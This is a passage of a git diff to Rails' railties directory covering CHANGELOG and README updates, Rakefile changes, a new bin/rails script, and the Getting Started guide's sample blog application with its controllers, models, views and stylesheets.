diff options
Diffstat (limited to 'railties')
300 files changed, 8668 insertions, 3112 deletions
diff --git a/railties/CHANGELOG b/railties/CHANGELOG index c465b08594..404bc73b0b 100644 --- a/railties/CHANGELOG +++ b/railties/CHANGELOG @@ -1,18 +1,64 @@ -*Rails 3.1.0 (unreleased)* +*Rails 3.2.0 (unreleased)* -* Application and plugin generation run bundle install unless --skip-gemfile or --skip-bundle. [fxn] +* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box. [José Valim] + +* Updated Rails::Rack::Logger middleware to apply any tags set in config.log_tags to the newly ActiveSupport::TaggedLogging Rails.logger. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications [DHH] + +* Default options to `rails new` can be set in ~/.railsrc [Guillermo Iguaran] + +* Added destroy alias to Rails engines. [Guillermo Iguaran] + +* Added destroy alias for Rails command line. This allows the following: `rails d model post`. [Andrey Ognevsky] + +* Attributes on scaffold and model generators default to string. This allows the following: "rails g scaffold Post title body:text author" [José Valim] + +* Removed old plugin generator (`rails generate plugin`) in favor of `rails plugin new` command. [Guillermo Iguaran] + +* Removed old 'config.paths.app.controller' API in favor of 'config.paths["app/controller"]' API. [Guillermo Iguaran] + + +*Rails 3.1.1 + +* Add jquery-rails to Gemfile of plugins, test/dummy app needs it. Closes #3091. [Santiago Pastorino] + +* Add config.assets.initialize_on_precompile which, when set to false, forces + `rake assets:precompile` to load the application but does not initialize it. -* Fixed database tasks for jdbc* adapters #jruby + To the app developer, this means configuration add in + config/initializers/* will not be executed. - [Rashmi Yadav] + Plugins developers need to special case their initializers that are + meant to be run in the assets group by adding :group => :assets. -* Template generation for jdbcpostgresql #jruby - [Vishnu Atrai] +*Rails 3.1.0 (August 30, 2011)* + +* The default database schema file is written as UTF-8. [Aaron Patterson] + +* Generated apps with --dev or --edge flags depend on git versions of +sass-rails and coffee-rails. [Santiago Pastorino] + +* Rack::Sendfile middleware is used only if x_sendfile_header is present. [Santiago Pastorino] + +* Add JavaScript Runtime name to the Rails Info properties. [DHH] + +* Make pp enabled by default in Rails console. [Akira Matsuda] + +* Add alias `r` for rails runner. [Jordi Romero] + +* Make sprockets/railtie require explicit and add --skip-sprockets to app generator [José Valim] + +* Added Rails.groups that automatically handles Rails.env and ENV["RAILS_GROUPS"] [José Valim] + +* The new rake task assets:clean removes precompiled assets. [fxn] + +* Application and plugin generation run bundle install unless --skip-gemfile or --skip-bundle. [fxn] + +* Fixed database tasks for jdbc* adapters #jruby [Rashmi Yadav] -* Template generation for jdbcmysql and jdbcsqlite3 #jruby +* Template generation for jdbcpostgresql #jruby [Vishnu Atrai] - [Arun Agrawal] +* Template generation for jdbcmysql and jdbcsqlite3 #jruby [Arun Agrawal] * The -j option of the application generator accepts an arbitrary string. If passed "foo", the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest diff --git a/railties/README.rdoc b/railties/README.rdoc index 0457227473..ae40600401 100644 --- a/railties/README.rdoc +++ b/railties/README.rdoc @@ -1,26 +1,35 @@ = Railties -- Gluing the Engine to the Rails -Railties is responsible to glue all frameworks together. Overall, it: +Railties is responsible for gluing all frameworks together. Overall, it: -* handles all the bootstrapping process for a Rails application; +* handles the bootstrapping process for a Rails application; -* manages rails command line interface; +* manages the +rails+ command line interface; -* provides Rails generators core; +* and provides the Rails generators core. == Download -The latest version of Railties can be installed with Rubygems: +The latest version of Railties can be installed with RubyGems: * gem install railties -Documentation can be found at - -* http://api.rubyonrails.org +Source code can be downloaded as part of the Rails project on GitHub +* https://github.com/rails/rails/tree/master/railties == License Railties is released under the MIT license. +== Support + +API documentation is at + +* http://api.rubyonrails.org + +Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here: + +* https://github.com/rails/rails/issues + diff --git a/railties/Rakefile b/railties/Rakefile index 827b2ba0cd..25e515e016 100755 --- a/railties/Rakefile +++ b/railties/Rakefile @@ -1,6 +1,6 @@ #!/usr/bin/env rake require 'rake/testtask' -require 'rake/gempackagetask' +require 'rubygems/package_task' require 'date' require 'rbconfig' @@ -17,8 +17,13 @@ namespace :test do dir = ENV["TEST_DIR"] || "**" Dir["test/#{dir}/*_test.rb"].each do |file| next true if file.include?("fixtures") - ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME')) - sh(ruby, '-Itest', "-I#{File.dirname(__FILE__)}/../activesupport/lib", file) + dash_i = [ + 'test', + 'lib', + "#{File.dirname(__FILE__)}/../activesupport/lib", + "#{File.dirname(__FILE__)}/../actionpack/lib" + ] + ruby "-I#{dash_i.join ':'}", file end end end @@ -55,7 +60,7 @@ end spec = eval(File.read('railties.gemspec')) -Rake::GemPackageTask.new(spec) do |pkg| +Gem::PackageTask.new(spec) do |pkg| pkg.gem_spec = spec end diff --git a/railties/bin/rails b/railties/bin/rails new file mode 100755 index 0000000000..a1c4faaa73 --- /dev/null +++ b/railties/bin/rails @@ -0,0 +1,7 @@ +#!/usr/bin/env ruby + +if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git')) + railties_path = File.expand_path('../../lib', __FILE__) + $:.unshift(railties_path) +end +require "rails/cli" diff --git a/railties/guides/assets/images/i18n/demo_html_safe.png b/railties/guides/assets/images/i18n/demo_html_safe.png Binary files differnew file mode 100644 index 0000000000..f881f60dac --- /dev/null +++ b/railties/guides/assets/images/i18n/demo_html_safe.png diff --git a/railties/guides/assets/images/radar.png b/railties/guides/assets/images/radar.png Binary files differnew file mode 100644 index 0000000000..f61e08763f --- /dev/null +++ b/railties/guides/assets/images/radar.png diff --git a/railties/guides/assets/images/rails_welcome.png b/railties/guides/assets/images/rails_welcome.png Binary files differindex 0e02cf5a8c..f2aa210d19 100644 --- a/railties/guides/assets/images/rails_welcome.png +++ b/railties/guides/assets/images/rails_welcome.png diff --git a/railties/guides/assets/images/vijaydev.jpg b/railties/guides/assets/images/vijaydev.jpg Binary files differnew file mode 100644 index 0000000000..e21d3cabfc --- /dev/null +++ b/railties/guides/assets/images/vijaydev.jpg diff --git a/railties/guides/code/getting_started/Gemfile b/railties/guides/code/getting_started/Gemfile new file mode 100644 index 0000000000..898510dcaa --- /dev/null +++ b/railties/guides/code/getting_started/Gemfile @@ -0,0 +1,27 @@ +source 'http://rubygems.org' + +gem 'rails', '3.1.0' +# Bundle edge Rails instead: +# gem 'rails', :git => 'git://github.com/rails/rails.git' + +gem 'sqlite3' + + +# Gems used only for assets and not required +# in production environments by default. +group :assets do + gem 'sass-rails', " ~> 3.1.0" + gem 'coffee-rails', "~> 3.1.0" + gem 'uglifier' +end + +gem 'jquery-rails' + +# Use unicorn as the web server +# gem 'unicorn' + +# Deploy with Capistrano +# gem 'capistrano' + +# To use debugger +# gem 'ruby-debug19', :require => 'ruby-debug' diff --git a/railties/guides/code/getting_started/README b/railties/guides/code/getting_started/README new file mode 100644 index 0000000000..7c36f2356e --- /dev/null +++ b/railties/guides/code/getting_started/README @@ -0,0 +1,261 @@ +== Welcome to Rails + +Rails is a web-application framework that includes everything needed to create +database-backed web applications according to the Model-View-Control pattern. + +This pattern splits the view (also called the presentation) into "dumb" +templates that are primarily responsible for inserting pre-built data in between +HTML tags. The model contains the "smart" domain objects (such as Account, +Product, Person, Post) that holds all the business logic and knows how to +persist themselves to a database. The controller handles the incoming requests +(such as Save New Account, Update Product, Show Post) by manipulating the model +and directing data to the view. + +In Rails, the model is handled by what's called an object-relational mapping +layer entitled Active Record. This layer allows you to present the data from +database rows as objects and embellish these data objects with business logic +methods. You can read more about Active Record in +link:files/vendor/rails/activerecord/README.html. + +The controller and view are handled by the Action Pack, which handles both +layers by its two parts: Action View and Action Controller. These two layers +are bundled in a single package due to their heavy interdependence. This is +unlike the relationship between the Active Record and Action Pack that is much +more separate. Each of these packages can be used independently outside of +Rails. You can read more about Action Pack in +link:files/vendor/rails/actionpack/README.html. + + +== Getting Started + +1. At the command prompt, create a new Rails application: + <tt>rails new myapp</tt> (where <tt>myapp</tt> is the application name) + +2. Change directory to <tt>myapp</tt> and start the web server: + <tt>cd myapp; rails server</tt> (run with --help for options) + +3. Go to http://localhost:3000/ and you'll see: + "Welcome aboard: You're riding Ruby on Rails!" + +4. Follow the guidelines to start developing your application. You can find +the following resources handy: + +* The Getting Started Guide: http://guides.rubyonrails.org/getting_started.html +* Ruby on Rails Tutorial Book: http://www.railstutorial.org/ + + +== Debugging Rails + +Sometimes your application goes wrong. Fortunately there are a lot of tools that +will help you debug it and get it back on the rails. + +First area to check is the application log files. Have "tail -f" commands +running on the server.log and development.log. Rails will automatically display +debugging and runtime information to these files. Debugging info will also be +shown in the browser on requests from 127.0.0.1. + +You can also log your own messages directly into the log file from your code +using the Ruby logger class from inside your controllers. Example: + + class WeblogController < ActionController::Base + def destroy + @weblog = Weblog.find(params[:id]) + @weblog.destroy + logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!") + end + end + +The result will be a message in your log file along the lines of: + + Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1! + +More information on how to use the logger is at http://www.ruby-doc.org/core/ + +Also, Ruby documentation can be found at http://www.ruby-lang.org/. There are +several books available online as well: + +* Programming Ruby: http://www.ruby-doc.org/docs/ProgrammingRuby/ (Pickaxe) +* Learn to Program: http://pine.fm/LearnToProgram/ (a beginners guide) + +These two books will bring you up to speed on the Ruby language and also on +programming in general. + + +== Debugger + +Debugger support is available through the debugger command when you start your +Mongrel or WEBrick server with --debugger. This means that you can break out of +execution at any point in the code, investigate and change the model, and then, +resume execution! You need to install ruby-debug to run the server in debugging +mode. With gems, use <tt>sudo gem install ruby-debug</tt>. Example: + + class WeblogController < ActionController::Base + def index + @posts = Post.all + debugger + end + end + +So the controller will accept the action, run the first line, then present you +with a IRB prompt in the server window. Here you can do things like: + + >> @posts.inspect + => "[#<Post:0x14a6be8 + @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>, + #<Post:0x14a6620 + @attributes={"title"=>"Rails", "body"=>"Only ten..", "id"=>"2"}>]" + >> @posts.first.title = "hello from a debugger" + => "hello from a debugger" + +...and even better, you can examine how your runtime objects actually work: + + >> f = @posts.first + => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}> + >> f. + Display all 152 possibilities? (y or n) + +Finally, when you're ready to resume execution, you can enter "cont". + + +== Console + +The console is a Ruby shell, which allows you to interact with your +application's domain model. Here you'll have all parts of the application +configured, just like it is when the application is running. You can inspect +domain models, change values, and save to the database. Starting the script +without arguments will launch it in the development environment. + +To start the console, run <tt>rails console</tt> from the application +directory. + +Options: + +* Passing the <tt>-s, --sandbox</tt> argument will rollback any modifications + made to the database. +* Passing an environment name as an argument will load the corresponding + environment. Example: <tt>rails console production</tt>. + +To reload your controllers and models after launching the console run +<tt>reload!</tt> + +More information about irb can be found at: +link:http://www.rubycentral.org/pickaxe/irb.html + + +== dbconsole + +You can go to the command line of your database directly through <tt>rails +dbconsole</tt>. You would be connected to the database with the credentials +defined in database.yml. Starting the script without arguments will connect you +to the development database. Passing an argument will connect you to a different +database, like <tt>rails dbconsole production</tt>. Currently works for MySQL, +PostgreSQL and SQLite 3. + +== Description of Contents + +The default directory structure of a generated Ruby on Rails application: + + |-- app + | |-- assets + | |-- images + | |-- javascripts + | `-- stylesheets + | |-- controllers + | |-- helpers + | |-- mailers + | |-- models + | `-- views + | `-- layouts + |-- config + | |-- environments + | |-- initializers + | `-- locales + |-- db + |-- doc + |-- lib + | `-- tasks + |-- log + |-- public + |-- script + |-- test + | |-- fixtures + | |-- functional + | |-- integration + | |-- performance + | `-- unit + |-- tmp + | |-- cache + | |-- pids + | |-- sessions + | `-- sockets + `-- vendor + |-- assets + `-- stylesheets + `-- plugins + +app + Holds all the code that's specific to this particular application. + +app/assets + Contains subdirectories for images, stylesheets, and JavaScript files. + +app/controllers + Holds controllers that should be named like weblogs_controller.rb for + automated URL mapping. All controllers should descend from + ApplicationController which itself descends from ActionController::Base. + +app/models + Holds models that should be named like post.rb. Models descend from + ActiveRecord::Base by default. + +app/views + Holds the template files for the view that should be named like + weblogs/index.html.erb for the WeblogsController#index action. All views use + eRuby syntax by default. + +app/views/layouts + Holds the template files for layouts to be used with views. This models the + common header/footer method of wrapping views. In your views, define a layout + using the <tt>layout :default</tt> and create a file named default.html.erb. + Inside default.html.erb, call <% yield %> to render the view using this + layout. + +app/helpers + Holds view helpers that should be named like weblogs_helper.rb. These are + generated for you automatically when using generators for controllers. + Helpers can be used to wrap functionality for your views into methods. + +config + Configuration files for the Rails environment, the routing map, the database, + and other dependencies. + +db + Contains the database schema in schema.rb. db/migrate contains all the + sequence of Migrations for your schema. + +doc + This directory is where your application documentation will be stored when + generated using <tt>rake doc:app</tt> + +lib + Application specific libraries. Basically, any kind of custom code that + doesn't belong under controllers, models, or helpers. This directory is in + the load path. + +public + The directory available for the web server. Also contains the dispatchers and the + default HTML files. This should be set as the DOCUMENT_ROOT of your web + server. + +script + Helper scripts for automation and generation. + +test + Unit and functional tests along with fixtures. When using the rails generate + command, template test files will be generated for you and placed in this + directory. + +vendor + External libraries that the application depends on. Also includes the plugins + subdirectory. If the app has frozen rails, those gems also go here, under + vendor/rails/. This directory is in the load path. diff --git a/railties/guides/code/getting_started/Rakefile b/railties/guides/code/getting_started/Rakefile new file mode 100644 index 0000000000..e1d1ec8615 --- /dev/null +++ b/railties/guides/code/getting_started/Rakefile @@ -0,0 +1,7 @@ +#!/usr/bin/env rake +# Add your own tasks in files placed in lib/tasks ending in .rake, +# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake. + +require File.expand_path('../config/application', __FILE__) + +Blog::Application.load_tasks diff --git a/railties/guides/code/getting_started/app/assets/images/rails.png b/railties/guides/code/getting_started/app/assets/images/rails.png Binary files differnew file mode 100644 index 0000000000..d5edc04e65 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/images/rails.png diff --git a/railties/guides/code/getting_started/app/assets/javascripts/application.js b/railties/guides/code/getting_started/app/assets/javascripts/application.js new file mode 100644 index 0000000000..37c7bfcdb5 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/javascripts/application.js @@ -0,0 +1,9 @@ +// This is a manifest file that'll be compiled into including all the files listed below. +// Add new JavaScript/Coffee code in separate files in this directory and they'll automatically +// be included in the compiled file accessible from http://example.com/assets/application.js +// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the +// the compiled file. +// +//= require jquery +//= require jquery_ujs +//= require_tree . diff --git a/railties/lib/rails/generators/rails/assets/templates/javascript.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee index 761567942f..761567942f 100644 --- a/railties/lib/rails/generators/rails/assets/templates/javascript.js.coffee +++ b/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee diff --git a/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee new file mode 100644 index 0000000000..761567942f --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee @@ -0,0 +1,3 @@ +# Place all the behaviors and hooks related to the matching controller here. +# All this logic will automatically be available in application.js. +# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/ diff --git a/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee new file mode 100644 index 0000000000..761567942f --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee @@ -0,0 +1,3 @@ +# Place all the behaviors and hooks related to the matching controller here. +# All this logic will automatically be available in application.js. +# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/application.css b/railties/guides/code/getting_started/app/assets/stylesheets/application.css new file mode 100644 index 0000000000..fc25b5723f --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/application.css @@ -0,0 +1,7 @@ +/* + * This is a manifest file that'll automatically include all the stylesheets available in this directory + * and any sub-directories. You're free to add application-wide styles to this file and they'll appear at + * the top of the compiled file, but it's generally better to create a new file per style scope. + *= require_self + *= require_tree . +*/
\ No newline at end of file diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss new file mode 100644 index 0000000000..e730912783 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss @@ -0,0 +1,3 @@ +// Place all the styles related to the Comments controller here. +// They will automatically be included in application.css. +// You can use Sass (SCSS) here: http://sass-lang.com/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss new file mode 100644 index 0000000000..f0ddc6846a --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss @@ -0,0 +1,3 @@ +// Place all the styles related to the home controller here. +// They will automatically be included in application.css. +// You can use Sass (SCSS) here: http://sass-lang.com/ diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss new file mode 100644 index 0000000000..ed4dfd10f2 --- /dev/null +++ b/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss @@ -0,0 +1,3 @@ +// Place all the styles related to the Posts controller here. +// They will automatically be included in application.css. +// You can use Sass (SCSS) here: http://sass-lang.com/ diff --git a/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss index 45116b53f6..05188f08ed 100644 --- a/railties/lib/rails/generators/rails/scaffold/templates/scaffold.css.scss +++ b/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss @@ -1,36 +1,39 @@ -body { background-color: #fff; color: #333; } +body { + background-color: #fff; + color: #333; + font-family: verdana, arial, helvetica, sans-serif; + font-size: 13px; + line-height: 18px; } -body, p, ol, ul, td { +p, ol, ul, td { font-family: verdana, arial, helvetica, sans-serif; - font-size: 13px; - line-height: 18px; -} + font-size: 13px; + line-height: 18px; } pre { background-color: #eee; padding: 10px; - font-size: 11px; -} + font-size: 11px; } -a { +a { color: #000; - &:visited { color: #666; } - &:hover { color: #fff; background-color:#000; } -} + &:visited { + color: #666; } + &:hover { + color: #fff; + background-color: #000; } } -div.field, div.actions { - margin-bottom: 10px; -} +div { + &.field, &.actions { + margin-bottom: 10px; } } #notice { - color: green; -} + color: green; } .field_with_errors { padding: 2px; background-color: red; - display: table; -} + display: table; } #error_explanation { width: 450px; @@ -39,7 +42,6 @@ div.field, div.actions { padding-bottom: 0; margin-bottom: 20px; background-color: #f0f0f0; - h2 { text-align: left; font-weight: bold; @@ -48,11 +50,7 @@ div.field, div.actions { margin: -7px; margin-bottom: 0px; background-color: #c00; - color: #fff; - } - + color: #fff; } ul li { font-size: 12px; - list-style: square; - } -}
\ No newline at end of file + list-style: square; } } diff --git a/railties/guides/code/getting_started/app/controllers/application_controller.rb b/railties/guides/code/getting_started/app/controllers/application_controller.rb new file mode 100644 index 0000000000..e8065d9505 --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/application_controller.rb @@ -0,0 +1,3 @@ +class ApplicationController < ActionController::Base + protect_from_forgery +end diff --git a/railties/guides/code/getting_started/app/controllers/comments_controller.rb b/railties/guides/code/getting_started/app/controllers/comments_controller.rb new file mode 100644 index 0000000000..7447fd078b --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/comments_controller.rb @@ -0,0 +1,16 @@ +class CommentsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy + def create + @post = Post.find(params[:post_id]) + @comment = @post.comments.create(params[:comment]) + redirect_to post_path(@post) + end + + def destroy + @post = Post.find(params[:post_id]) + @comment = @post.comments.find(params[:id]) + @comment.destroy + redirect_to post_path(@post) + end + +end diff --git a/railties/guides/code/getting_started/app/controllers/home_controller.rb b/railties/guides/code/getting_started/app/controllers/home_controller.rb new file mode 100644 index 0000000000..6cc31c1ca3 --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/home_controller.rb @@ -0,0 +1,5 @@ +class HomeController < ApplicationController + def index + end + +end diff --git a/railties/guides/code/getting_started/app/controllers/posts_controller.rb b/railties/guides/code/getting_started/app/controllers/posts_controller.rb new file mode 100644 index 0000000000..7e903c984c --- /dev/null +++ b/railties/guides/code/getting_started/app/controllers/posts_controller.rb @@ -0,0 +1,84 @@ +class PostsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + # GET /posts + # GET /posts.json + def index + @posts = Post.all + + respond_to do |format| + format.html # index.html.erb + format.json { render json: @posts } + end + end + + # GET /posts/1 + # GET /posts/1.json + def show + @post = Post.find(params[:id]) + + respond_to do |format| + format.html # show.html.erb + format.json { render json: @post } + end + end + + # GET /posts/new + # GET /posts/new.json + def new + @post = Post.new + + respond_to do |format| + format.html # new.html.erb + format.json { render json: @post } + end + end + + # GET /posts/1/edit + def edit + @post = Post.find(params[:id]) + end + + # POST /posts + # POST /posts.json + def create + @post = Post.new(params[:post]) + + respond_to do |format| + if @post.save + format.html { redirect_to @post, notice: 'Post was successfully created.' } + format.json { render json: @post, status: :created, location: @post } + else + format.html { render action: "new" } + format.json { render json: @post.errors, status: :unprocessable_entity } + end + end + end + + # PUT /posts/1 + # PUT /posts/1.json + def update + @post = Post.find(params[:id]) + + respond_to do |format| + if @post.update_attributes(params[:post]) + format.html { redirect_to @post, notice: 'Post was successfully updated.' } + format.json { head :ok } + else + format.html { render action: "edit" } + format.json { render json: @post.errors, status: :unprocessable_entity } + end + end + end + + # DELETE /posts/1 + # DELETE /posts/1.json + def destroy + @post = Post.find(params[:id]) + @post.destroy + + respond_to do |format| + format.html { redirect_to posts_url } + format.json { head :ok } + end + end +end diff --git a/railties/guides/code/getting_started/app/helpers/application_helper.rb b/railties/guides/code/getting_started/app/helpers/application_helper.rb new file mode 100644 index 0000000000..de6be7945c --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/application_helper.rb @@ -0,0 +1,2 @@ +module ApplicationHelper +end diff --git a/railties/guides/code/getting_started/app/helpers/comments_helper.rb b/railties/guides/code/getting_started/app/helpers/comments_helper.rb new file mode 100644 index 0000000000..0ec9ca5f2d --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/comments_helper.rb @@ -0,0 +1,2 @@ +module CommentsHelper +end diff --git a/railties/guides/code/getting_started/app/helpers/home_helper.rb b/railties/guides/code/getting_started/app/helpers/home_helper.rb new file mode 100644 index 0000000000..23de56ac60 --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/home_helper.rb @@ -0,0 +1,2 @@ +module HomeHelper +end diff --git a/railties/guides/code/getting_started/app/helpers/posts_helper.rb b/railties/guides/code/getting_started/app/helpers/posts_helper.rb new file mode 100644 index 0000000000..b6e8e67894 --- /dev/null +++ b/railties/guides/code/getting_started/app/helpers/posts_helper.rb @@ -0,0 +1,5 @@ +module PostsHelper + def join_tags(post) + post.tags.map { |t| t.name }.join(", ") + end +end diff --git a/railties/guides/code/getting_started/app/mailers/.gitkeep b/railties/guides/code/getting_started/app/mailers/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/app/mailers/.gitkeep diff --git a/railties/guides/code/getting_started/app/models/.gitkeep b/railties/guides/code/getting_started/app/models/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/.gitkeep diff --git a/railties/guides/code/getting_started/app/models/comment.rb b/railties/guides/code/getting_started/app/models/comment.rb new file mode 100644 index 0000000000..4e76c5b5b0 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/comment.rb @@ -0,0 +1,3 @@ +class Comment < ActiveRecord::Base + belongs_to :post +end diff --git a/railties/guides/code/getting_started/app/models/post.rb b/railties/guides/code/getting_started/app/models/post.rb new file mode 100644 index 0000000000..61c2b5ae44 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/post.rb @@ -0,0 +1,11 @@ +class Post < ActiveRecord::Base + validates :name, :presence => true + validates :title, :presence => true, + :length => { :minimum => 5 } + + has_many :comments, :dependent => :destroy + has_many :tags + + accepts_nested_attributes_for :tags, :allow_destroy => :true, + :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } } +end diff --git a/railties/guides/code/getting_started/app/models/tag.rb b/railties/guides/code/getting_started/app/models/tag.rb new file mode 100644 index 0000000000..30992e8ba9 --- /dev/null +++ b/railties/guides/code/getting_started/app/models/tag.rb @@ -0,0 +1,3 @@ +class Tag < ActiveRecord::Base + belongs_to :post +end diff --git a/railties/guides/code/getting_started/app/views/comments/_comment.html.erb b/railties/guides/code/getting_started/app/views/comments/_comment.html.erb new file mode 100644 index 0000000000..4c3fbf26cd --- /dev/null +++ b/railties/guides/code/getting_started/app/views/comments/_comment.html.erb @@ -0,0 +1,15 @@ +<p> + <b>Commenter:</b> + <%= comment.commenter %> +</p> + +<p> + <b>Comment:</b> + <%= comment.body %> +</p> + +<p> + <%= link_to 'Destroy Comment', [comment.post, comment], + :confirm => 'Are you sure?', + :method => :delete %> +</p> diff --git a/railties/guides/code/getting_started/app/views/comments/_form.html.erb b/railties/guides/code/getting_started/app/views/comments/_form.html.erb new file mode 100644 index 0000000000..d15bdd6b59 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/comments/_form.html.erb @@ -0,0 +1,13 @@ +<%= form_for([@post, @post.comments.build]) do |f| %> + <div class="field"> + <%= f.label :commenter %><br /> + <%= f.text_field :commenter %> + </div> + <div class="field"> + <%= f.label :body %><br /> + <%= f.text_area :body %> + </div> + <div class="actions"> + <%= f.submit %> + </div> +<% end %> diff --git a/railties/guides/code/getting_started/app/views/home/index.html.erb b/railties/guides/code/getting_started/app/views/home/index.html.erb new file mode 100644 index 0000000000..bb4f3dcd1f --- /dev/null +++ b/railties/guides/code/getting_started/app/views/home/index.html.erb @@ -0,0 +1,2 @@ +<h1>Hello, Rails!</h1> +<%= link_to "My Blog", posts_path %> diff --git a/railties/guides/code/getting_started/app/views/layouts/application.html.erb b/railties/guides/code/getting_started/app/views/layouts/application.html.erb new file mode 100644 index 0000000000..1e1e4b9a99 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/layouts/application.html.erb @@ -0,0 +1,14 @@ +<!DOCTYPE html> +<html> +<head> + <title>Blog</title> + <%= stylesheet_link_tag "application" %> + <%= javascript_include_tag "application" %> + <%= csrf_meta_tags %> +</head> +<body style="background: #EEEEEE;"> + +<%= yield %> + +</body> +</html> diff --git a/railties/guides/code/getting_started/app/views/posts/_form.html.erb b/railties/guides/code/getting_started/app/views/posts/_form.html.erb new file mode 100644 index 0000000000..e27da7f413 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/_form.html.erb @@ -0,0 +1,32 @@ +<% @post.tags.build %> +<%= form_for(@post) do |post_form| %> + <% if @post.errors.any? %> + <div id="errorExplanation"> + <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> + <ul> + <% @post.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> + <% end %> + + <div class="field"> + <%= post_form.label :name %><br /> + <%= post_form.text_field :name %> + </div> + <div class="field"> + <%= post_form.label :title %><br /> + <%= post_form.text_field :title %> + </div> + <div class="field"> + <%= post_form.label :content %><br /> + <%= post_form.text_area :content %> + </div> + <h2>Tags</h2> + <%= render :partial => 'tags/form', + :locals => {:form => post_form} %> + <div class="actions"> + <%= post_form.submit %> + </div> +<% end %> diff --git a/railties/guides/code/getting_started/app/views/posts/edit.html.erb b/railties/guides/code/getting_started/app/views/posts/edit.html.erb new file mode 100644 index 0000000000..720580236b --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/edit.html.erb @@ -0,0 +1,6 @@ +<h1>Editing post</h1> + +<%= render 'form' %> + +<%= link_to 'Show', @post %> | +<%= link_to 'Back', posts_path %> diff --git a/railties/guides/code/getting_started/app/views/posts/index.html.erb b/railties/guides/code/getting_started/app/views/posts/index.html.erb new file mode 100644 index 0000000000..45dee1b25f --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/index.html.erb @@ -0,0 +1,27 @@ +<h1>Listing posts</h1> + +<table> + <tr> + <th>Name</th> + <th>Title</th> + <th>Content</th> + <th></th> + <th></th> + <th></th> + </tr> + +<% @posts.each do |post| %> + <tr> + <td><%= post.name %></td> + <td><%= post.title %></td> + <td><%= post.content %></td> + <td><%= link_to 'Show', post %></td> + <td><%= link_to 'Edit', edit_post_path(post) %></td> + <td><%= link_to 'Destroy', post, confirm: 'Are you sure?', method: :delete %></td> + </tr> +<% end %> +</table> + +<br /> + +<%= link_to 'New Post', new_post_path %> diff --git a/railties/guides/code/getting_started/app/views/posts/new.html.erb b/railties/guides/code/getting_started/app/views/posts/new.html.erb new file mode 100644 index 0000000000..36ad7421f9 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/new.html.erb @@ -0,0 +1,5 @@ +<h1>New post</h1> + +<%= render 'form' %> + +<%= link_to 'Back', posts_path %> diff --git a/railties/guides/code/getting_started/app/views/posts/show.html.erb b/railties/guides/code/getting_started/app/views/posts/show.html.erb new file mode 100644 index 0000000000..da78a9527b --- /dev/null +++ b/railties/guides/code/getting_started/app/views/posts/show.html.erb @@ -0,0 +1,31 @@ +<p class="notice"><%= notice %></p> + +<p> + <b>Name:</b> + <%= @post.name %> +</p> + +<p> + <b>Title:</b> + <%= @post.title %> +</p> + +<p> + <b>Content:</b> + <%= @post.content %> +</p> + +<p> + <b>Tags:</b> + <%= join_tags(@post) %> +</p> + +<h2>Comments</h2> +<%= render @post.comments %> + +<h2>Add a comment:</h2> +<%= render "comments/form" %> + + +<%= link_to 